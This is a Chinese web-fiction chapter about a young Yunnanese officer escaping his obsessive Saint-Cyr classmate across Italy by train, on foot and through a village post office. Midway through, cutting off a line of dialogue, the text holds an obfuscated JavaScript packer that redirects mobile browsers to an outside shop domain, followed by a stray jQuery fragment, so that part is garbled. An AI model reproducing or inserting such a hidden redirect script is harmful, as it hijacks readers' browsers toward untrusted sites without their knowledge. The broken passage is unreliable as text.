火车在夜色中疾驰,车轮与铁轨撞击出规律却刺耳的轰鸣。窗外是阿尔卑斯山脉漆黑的轮廓,像一头头沉默的巨兽。
张子轩坐在靠窗的座位上,左脚踝的银质脚镣在昏黄的灯光下反射着冷光。
Marcel Delacroix 在这一个月内做了很多事。拖延船期、扣留行程、甚至试图通过军校关系修改调令。最离谱的时候,他甚至真的订好了教堂,连戒指都准备好了。
现在,他真的疯了。
他居然直接绑架。
而目的地偏偏是意大利。
因为Marcel比任何人都清楚,三年的圣西尔生涯,让张子轩的法语几乎和母语无异。法兰西境内根本困不住这个来自云南的年轻人。
Marcel靠在对面沙发上,腿随意交叠,他看着窗外不断高速向后退去的风景,一言不发。
张子轩低着头,他其实已经在脑子里把整趟旅程拆成了无数个变量。圣西尔军校教给他的,不只是战术推演,还有如何在绝境中找生路。
?他知道Marcel的弱点:极度自负、以及在非法兰西领土上的微妙松懈。
?脚镣是问题,但不是死结——链条长度够他移动两米,锁扣是老式机械锁,他昨晚用领带夹偷偷试过,能在三十秒内打开。
关键是制造“机会”。
火车驶入意大利境内时,已是凌晨两点。包厢里只剩他们两人。
灯光昏暗,光影搖曳。张子轩悄悄摸向自己左脚踝。
“咔。”
极轻的一声,只有他自己听见。脚镣开了
张子轩在心里冷笑,他突然发难,把桌子上的红酒杯狠狠砸向Marcel的面门,在Marcel闪避的时候,张子轩欺身上前,他猛地膝盖一顶,正中Marcel小腹。Marcel痛哼一声,身体本能后仰。张子轩借势翻身而起,夺过Marcel腰间的火车票和钱夹,赤脚冲向包厢门。
“Putain ——William ! !!”
(该死——William!!!)
Marcel的怒吼在身后炸开,带着酒意却依旧凶狠。他踉跄着追出来,列车走廊狭窄,灯光昏暗。张子轩狂奔,脚底被地毯磨得生疼,却顾不上。他撞开一扇扇车厢门,冲进普通车厢区——那里人多,混乱,正是他要的。
“Laissez-moi passer ! !”
(让开!让开!!)
来自法兰西和意大利的乘客们惊叫着四散。张子轩挤进人群,身后Marcel已经追近,吼声震得整个车厢都在颤“Arrêtez-le ! C’est mon mari !!”
(抓住他!那是我的丈夫!!)
而张子轩回头骂了一句:“Je ne suis pas ton mari ! ”
(我才不是你丈夫!)
车厢里短暂安静了一瞬。一名法国老太太看看Marcel,又看看张子轩,脸上逐渐露出恍然大悟的神情。
然后默默给张子轩让开了一条路。
几名列车员试图阻拦,却被张子轩用圣西尔格斗技巧一一甩开。他故意撞倒一个推车,酒瓶碎了一地,尖叫声四起。混乱中,他钻进厕所,反锁门,迅速用Marcel的钱夹里的小刀撬开窗锁。
窗外是高速行驶的夜景,风呼啸着灌进来。
“William ! Si tu sautes, je te jure que tu es foutu !!!”
(William!你敢跳你就死定了!!!)
Marcel的拳头已经砸在厕所门上,门板发出可怕的震动。
张子轩深吸一口气——他计算过,列车即将进入一个缓坡弯道,速度会稍降。他把上衣撕下一条布条绑在脚上止血,然后毫不犹豫地翻出窗外。
风像刀子一样刮脸。
他跳了。
身体在半空翻滚,落地时滚进路基旁的灌木丛,肩头和手臂立刻被划出无数血口。剧痛几乎让他昏厥,但他咬破舌尖,强迫自己爬起来。
身后,列车鸣笛声越来越远。Marcel的吼叫被风撕得支离破碎。
张子轩没敢停下来。他必须找到意大利当地的邮局,或者至少一个能发电报的地方。
夜色中,他踉跄着奔跑,脚底鲜血淋漓。
身后,远处的火车终于停下。
?Marcel站在车门边,头发被风吹乱,眼底是彻骨的疯狂。
“William… tu ne m’échapperas pas.”
(William……你跑不掉的。)
?他低声呢喃,像在对空气许诺,“Je retournerai toute l’Italie s’il le faut… mais je te retrouverai. Et je te ramènerai avec moi. ”
(我要把整个意大利翻过来……也要把你抓回去。)
张子轩跌跌撞撞地继续朝夜色深处奔去。
他已经能够想象接下来会发生什么。疯子出身法兰西军人世家,家族在意大利北部经营着庞大的产业和关系网,从港口到铁路,从地方警局到私人武装,几乎都能找到Delacroix家族的影子。
只要Marcel落地,封锁令就会像蛛网一样向四周铺开,公路、火车站、码头、旅馆,甚至偏僻农庄里的马车夫都会收到消息。
他必须在天亮之前彻底消失。
深夜的山路上没有灯光,只有远处零星村庄透出的昏黄火光。碎石和玻璃渣早已割破脚底,脚掌传来的疼痛几乎麻木,每一步都像踩在锋利刀刃上。鲜血浸透了临时包扎的布条,顺着脚踝不断往下淌,在泥土小径上留下一串断断续续的血迹。
张子轩咬紧牙关,把手里的钱夹攥得死紧。
那是他从Marcel身上抢来的东西。里面有一把小刀,几张意大利里拉,一张火车票,还有一些零散证件。钱不算多,却是他此刻唯一能依靠的资本。
身后的汽笛声渐渐远去。可危险才刚刚开始。
夜风吹过树林,发出低沉的呜咽。张子轩钻进一片橄榄树林,借着月光辨认方向。圣西尔军校在三年里教给他的技能,在这一刻几乎本能般运转起来,他避开主路,专挑难走的山地前进,又故意顺着溪流走了数百米,将血腥味和足迹尽可能冲淡。
他知道Marcel会带猎犬,那个疯子什么事都干得出来。
果然,没过多久,远处便传来断断续续的狗叫声。
张子轩停了一瞬,随后加快脚步。
肺部像被火烧灼一样疼痛,胸口剧烈起伏,可头脑却异常清醒。他不断计算距离、地形和时间。按照火车时刻推算,自己至少领先了一小段时间,对于Marcel来说,他很快就能追上来。
那个疯子了解他,正如他也了解那个疯子。
他们一起在圣西尔待了三年。
知道彼此的习惯、思维方式、行动逻辑,有时候甚至比了解自己还要了解对方。正因为如此,他才更加明白自己绝不能被抓回去。
身后忽然传来马蹄声,紧接着,是火把的光。
张子轩猛地扑进路边灌木丛,身体死死贴在地面。冰冷的泥水浸透军装,树枝划破脸颊,他却连呼吸都刻意放轻。
十几秒后,几匹马从不到十米外飞驰而过,提灯的骑手不断低头查看地面,其中一个人忽然用法文喊了一句:“这里有血迹!”
另一个声音回答:“继续追。”
Marcel缓缓抬起手,风雪吹过他的军大衣下摆。远处瞄准镜架起。
他却忽然开口:“Ne tirez pas. ”
(别开枪。)
几名士兵同时一怔。
Marcel低语,仿佛在情人耳边的沉吟:
“Je le veux vivant. ”
(我要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932491|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
活的。)
另一边,张子轩没敢停,汗水混着血水滑进眼睛,刺得生疼。他继续狂奔,体力在迅速流失,双腿越来越软,但脑子却前所未有地清醒。
不能死在这里。
不能让Marcel赢。
那一瞬间,他甚至能想象出对方此刻的表情。黑色大衣。冰蓝色眼睛。以及那种快要失控却又强行维持冷静的神情。
在天边开始泛起极淡的鱼肚白的时候,远处山谷尽头终于出现了一座小村庄。教堂尖顶,石砌房屋,还有邮局门前孤零零立着的电报杆。
蒙特贝洛。
张子轩几乎是爬着靠近村子。他用最后一点力气砸开邮局后门,里面一个头发花白的意大利老人还穿着睡袍。看见门外满身鲜血的年轻军官时,对方显然吓了一跳。
张子轩把钱夹里的钞票全部放到柜台上,他用破烂的意大利文说:“Telegramma. ”
(发电报。)
他的意大利语并不算流利,远远比不上他的法语,可总算还能交流。
“Per lo Yunnan, in Cina. ”
(发往中国云南。)
老人有些犹豫,张子轩直接把剩下的钱全部推了过去。几分钟后,电报机终于开始运转。滴滴答答的声响在安静的房间里格外清晰。
张子轩靠在墙边,额头全是冷汗。他报出了一串坐标,那不是普通地名,而是只有父亲张镇山和他才能看懂的特殊标记方式。
如果电报能顺利发出去,云南就会知道他还活着。想到这里,他终于稍稍松了口气。
可几乎是同一时间,外面忽然传来狗叫声。随后是急促的马蹄声。整个邮局瞬间安静下来。张子轩和老人同时抬起头。透过窗户,可以看见十几名骑手已经进入村口。
而最前方那个人,正缓缓勒住缰绳。
晨曦微亮。黑色大衣的轮廓在雾气中显得格外清晰。
“Bloquez l’église, le bureau de poste et toutes les routes qui quittent le village.”
“Ne tirez pas, sauf s’il tente de franchir la crête. ”
(封锁教堂、邮局和出村道路。不要开枪,除非他试图越过山脊)
张子轩咬牙钻进邮局后院的柴堆,身上盖满干草和破布,只露出一双眼睛。他听见Marcel的靴子踩在石板上的声音越来越近,甚至能闻到对方身上淡淡的古龙水味——那是Marcel最喜欢的味道。
十秒……二十秒……
Marcel的手已经伸向柴堆。
就在这时,村口忽然响起急促的钟声——是教堂的晨祷钟。几个村民被惊醒,吵嚷着跑出来。Marcel分神的一瞬,张子轩从柴堆另一侧滚了出去,翻过矮墙,钻进村后的树林。
他没有停,继续往山里跑。身后,Marcel的怒吼响彻整个山谷。
靠着圣西尔军校学来的野外生存技巧,张子轩连续躲过数次搜捕。
第二天黄昏时,他终于找到一处废弃礼拜堂。
张子轩包扎完脚,他打开Marcel的钱夹,夹层里,一张照片滑落出来。
他低头捡起。
借着破碎彩窗透进来的晨光,看见照片上的自己站在圣西尔礼堂中央,穿着白色礼服,手持长笛,蓝色幕布垂落在身后。
那是毕业音乐会那天。
也就是一个月前。
照片背面有一行熟悉的法文。
字迹锋利得近乎偏执。
Mon William
(我的William)
空气忽然安静下来。许久之后,张子轩低头看着那行字,终于缓缓闭上眼。
直到这一刻,他才真正明白。
Marcel不是今天才疯。
他早就疯了。